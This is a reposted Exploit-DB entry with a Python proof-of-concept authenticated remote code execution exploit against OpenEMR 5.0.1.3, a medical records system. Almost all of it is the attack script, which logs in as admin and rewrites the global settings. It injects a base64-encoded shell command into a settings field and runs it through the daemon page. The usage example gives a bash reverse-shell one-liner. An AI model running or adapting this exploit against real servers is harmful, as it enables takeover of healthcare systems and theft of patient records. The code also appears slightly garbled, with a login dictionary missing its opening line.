OpenEMR 5.0.1.3 – Remote Code Execution (Authenticated)

Exploit Database
129 阅读

作者： Cody Zacharias

日期： 2018-08-07
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/45161/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

# Title: OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated)

# Author: Cody Zacharias

# Date: 2018-08-07

# Vendor Homepage: https://www.open-emr.org/

# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz

# Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile

# Version: < 5.0.1 (Patch 4)

# Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3

# References:

# https://www.youtube.com/watch?v=DJSQ8Pk_7hc

'''

WARNING: This proof-of-concept exploit WILL replace the GLOBAL config.

If you don't want the OpenEMR config to be reset to default, please modify

the payload.

Example Usage:

- python openemr_rce.py http://127.0.0.1/openemr-5_0_1_3 -u admin -p admin -c 'bash -i >& /dev/tcp/127.0.0.1/1337 0>&1'

'''

#!/usr/bin/env python

import argparse

import base64

import requests

import sys

ap = argparse.ArgumentParser(description="OpenEMR RCE")

ap.add_argument("host", help="Path to OpenEMR (Example: http://127.0.0.1/openemr).")

ap.add_argument("-u", "--user", help="Admin username")

ap.add_argument("-p", "--password", help="Admin password")

ap.add_argument("-c", "--cmd", help="Command to run.")

args = ap.parse_args()

ascii = "> .---.,---.,---..-. .-.,---.,---.<\r\n"

ascii+= ">/ .-. ) | .-.\ | .-'|\| || .-'|\/|| .-.\ <\r\n"

ascii+= ">| | |(_)| |-' )| <code>-.| | || </code>-.|(\/ || <code>-'/ <\r\n"

ascii+= ">| | | | | |--' | .-'| |\|| .-'(_)\/|| (<\r\n"

ascii+= ">\ </code>-' / | ||<code>--.| | |)||</code>--.| \/ || |\ \ <\r\n"

ascii+= "> )---'/( /( __.'/((_)/( __.'| |\/| ||_| \)\<\r\n"

ascii+= ">(_)(__) (__) (__) (__)'-''-'(__) <\r\n"

ascii+= " \r\n"

ascii+= " ={> P R O J E C TI N S E C U R I T Y <}=\r\n"

ascii+= " \r\n"

ascii+= " Twitter : >@Insecurity< \r\n"

ascii+= " Site: >insecurity.sh< \r\n"

green = "\033[1;32m"

red = "\033[1;31m"

clear = "\033[0m"

load = "[>$<] ".replace(">", green).replace("<", clear)

err = "[>-<] ".replace(">", red).replace("<", clear)

intro = ascii.replace(">", green).replace("<", clear)

print(intro)

with requests.session() as s:

"authProvider": "Default",

"authUser": args.user,

"clearPass": args.password,

"languageChoice": "1"

}

print(load + "Authenticating with " + args.user + ":" + args.password)

r = s.post(args.host + "/interface/main/main_screen.php?auth=login&site=default", data=login)

if "login_screen.php?error=1&site=" in r.text:

print(err + "Failed to Login.")

sys.exit(0)

# This will rewrite and replace your current GLOBALS, please modify this if you don't want that.

payload = "form_save=Save&srch_desc=&form_0=main_info.php&form_1=..%2F..%2Finterface"

payload += "%2Fmain%2Fmessages%2Fmessages.php%3Fform_active%3D1&form_2=1&form_3=tabs_"

payload += "style_full.css&form_4=style_light.css&form_5=__default__&form_6=__default"

payload += "__&form_7=1&form_8=0&form_9=175&form_10=OpenEMR&form_12=1&form_13=0&form_"

payload += "14=0&form_16=1&form_21=1&form_22=1&form_23=1&form_24=1&form_25=http%3A%2F"

payload += "%2Fopen-emr.org%2F&form_26=&form_27=20&form_28=10&form_30=0&form_31=5&for"

payload += "m_32=0&form_37=English+%28Standard%29&form_38=1&form_42=1&form_43=1&form_"

payload += "44=1&form_45=1&form_46=1&form_47=1&form_48=1&form_49=1&form_50=1&form_51="

payload += "0&form_52=0&form_53=&form_54=2&form_55=.&form_56=%2C&form_57=%24&form_58="

payload += "0&form_59=3&form_60=6%2C0&form_61=0&form_62=0&form_63=_blank&form_69=1&fo"

payload += "rm_70=1&form_77=1&form_79=&form_80=&form_81=&form_84=1&form_85=1&form_87="

payload += "1&form_89=1&form_90=1&form_91=1&form_92=Y1&form_93=1&form_94=2&form_95=0&"

payload += "form_97=14&form_98=11&form_99=24&form_100=20&form_102=1&form_103=0&form_1"

payload += "04=0&form_105=ICD10&form_106=1&form_107=1&form_112=3&form_115=1&form_116="

payload += "&form_119=1.00&form_121=0&form_123=&form_125=30&form_126=&form_127=60&for"

payload += "m_128=&form_129=90&form_130=&form_131=120&form_132=&form_133=150&form_134"

payload += "=&form_135=1&form_138=1&form_139=1&form_141=1&form_142=0&form_143=localho"

payload += "st&form_144=&form_145=&form_146=5984&form_147=&form_150=Patient+ID+card&f"

payload += "orm_151=Patient+Photograph&form_152=Lab+Report&form_153=Lab+Report&form_1"

payload += "55=100&form_157=8&form_158=17&form_159=15&form_160=day&form_161=1&form_16"

payload += "2=2&form_163=1&form_164=10&form_165=10&form_166=15&form_167=20&form_168=1"

payload += "&form_169=%23FFFFFF&form_170=%23E6E6FF&form_171=%23E6FFE6&form_172=%23FFE"

payload += "6FF&form_173=1&form_174=0&form_176=1&form_177=1&form_178=1&form_181=1&for"

payload += "m_182=1&form_183=1&form_184=1&form_185=D0&form_186=D0&form_187=0%3A20&for"

payload += "m_188=0&form_190=33&form_191=0&form_194=7200&form_198=1&form_199=0&form_2"

payload += "00=0&form_202=&form_203=&form_204=365&form_205=&form_206=1&form_208=&form"

payload += "_210=&form_211=&form_212=&form_213=&form_214=&form_215=&form_216=SMTP&for"

payload += "m_217=localhost&form_218=25&form_219=&form_220=&form_221=&form_222=50&for"

payload += "m_223=50&form_224=&form_225=&form_226=&form_227=50&form_228=&form_229=&fo"

payload += "rm_230=&form_231=1&form_232=1&form_233=1&form_234=1&form_235=1&form_236=1"

payload += "&form_237=1&form_238=1&form_239=Model+Registry&form_240=125789123&form_24"

payload += "1=1&form_242=1&form_243=1&form_244=&form_245=&form_246=1&form_247=1&form_"

payload += "248=1&form_249=5&form_250=1&form_252=1&form_253=1&form_254=1&form_255=1&f"

payload += "orm_256=1&form_257=1&form_258=1&form_262=&form_263=6514&form_264=&form_26"

payload += "5=&form_267=1&form_268=0&form_269=%2Fusr%2Fbin&form_270=%2Fusr%2Fbin&form"

payload += "_271=%2Ftmp&form_272=%2Ftmp&form_273=26&form_274=state&form_275=1&form_27"

payload += "6=26&form_277=country&form_278=lpr+-P+HPLaserjet6P+-o+cpi%3D10+-o+lpi%3D6"

payload += "+-o+page-left%3D72+-o+page-top%3D72&form_279=&form_280=&form_282=2018-07-"

payload += "23&form_283=1&form_285=%2Fvar%2Fspool%2Fhylafax&form_286=enscript+-M+Lett"

payload += "er+-B+-e%5E+--margins%3D36%3A36%3A36%3A36&form_288=%2Fmnt%2Fscan_docs&for"

payload += "m_290=https%3A%2F%2Fyour_web_site.com%2Fopenemr%2Fportal&form_292=1&form_"

payload += "296=https%3A%2F%2Fyour_web_site.com%2Fopenemr%2Fpatients&form_297=1&form_"

payload += "299=&form_300=&form_301=&form_302=https%3A%2F%2Fssh.mydocsportal.com%2Fpr"

payload += "ovider.php&form_303=https%3A%2F%2Fssh.mydocsportal.com&form_305=https%3A%"

payload += "2F%2Fyour_cms_site.com%2F&form_306=&form_307=&form_308=0&form_309=https%3"

payload += "A%2F%2Fhapi.fhir.org%2FbaseDstu3%2F&form_312=https%3A%2F%2Fsecure.newcrop"

payload += "accounts.com%2FInterfaceV7%2FRxEntry.aspx&form_313=https%3A%2F%2Fsecure.n"

payload += "ewcropaccounts.com%2Fv7%2FWebServices%2FUpdate1.asmx%3FWSDL%3Bhttps%3A%2F"

payload += "%2Fsecure.newcropaccounts.com%2Fv7%2FWebServices%2FPatient.asmx%3FWSDL&fo"

payload += "rm_314=21600&form_315=21600&form_316=&form_317=&form_318=&form_319=1&form"

payload += "_324=&form_325=0&form_327=137&form_328=7C84773D5063B20BC9E41636A091C6F17E"

payload += "9C1E34&form_329=C36275&form_330=0&form_332=https%3A%2F%2Fphimail.example."

payload += "com%3A32541&form_333=&form_334=&form_335=admin&form_336=5&form_339=1&form"

payload += "_346=LETTER&form_347=30&form_348=30&form_349=72&form_350=30&form_351=P&fo"

payload += "rm_352=en&form_353=LETTER&form_354=5&form_355=5&form_356=5&form_357=8&for"

payload += "m_358=D&form_359=1&form_360=9&form_361=1&form_362=104.775&form_363=241.3&"

payload += "form_364=14&form_365=65&form_366=220"

p = {}

for c in payload.replace("&", "\n").splitlines():

a = c.split("=")

p.update({a[0]: a[1]})

# Linux only, but can be easily modified for Windows.

_cmd = "|| echo " + base64.b64encode(args.cmd) + "|base64 -d|bash"

p.update({"form_284": _cmd})

print(load + "Injecting payload")

s.post(args.host + "/interface/super/edit_globals.php", data=p)

sp = s.get(args.host + "/interface/main/daemon_frame.php") # M4tt D4em0n w0z h3r3 ;PpPpp

if sp.status_code == 200:

print(load + "Payload executed")